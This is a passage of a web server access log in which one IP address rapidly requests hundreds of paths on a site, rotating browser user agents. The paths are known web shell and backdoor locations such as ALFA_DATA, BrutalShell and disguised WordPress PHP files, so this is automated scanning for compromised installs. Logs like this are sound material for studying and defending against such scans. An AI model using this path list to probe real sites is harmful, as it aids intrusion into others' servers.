"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:55 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:56 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:56 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:56 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:56 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:56 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:56 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:57 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:23:57 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:57 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:57 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:57 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:57 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:58 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:58 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:58 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:58 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:58 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:23:59 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:00 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:00 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:24:00 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:00 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.89 - - [27/Apr/2025:19:24:00 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:24:00 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:01 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:24:02 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:03 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:03 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:03 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:03 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:03 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:03 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.89 - - [27/Apr/2025:19:24:04 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:05 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.89 - - [27/Apr/2025:19:24:06 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:06 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:06 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:06 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:24:07 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:07 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:07 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:07 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:07 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.89 - - [27/Apr/2025:19:24:08 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:08 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:08 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:08 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:08 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:09 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.89 - - [27/Apr/2025:19:24:09 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:09 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:09 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:09 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:10 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:11 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:11 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:11 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:11 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:11 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:11 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.89 - - [27/Apr/2025:19:24:12 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) 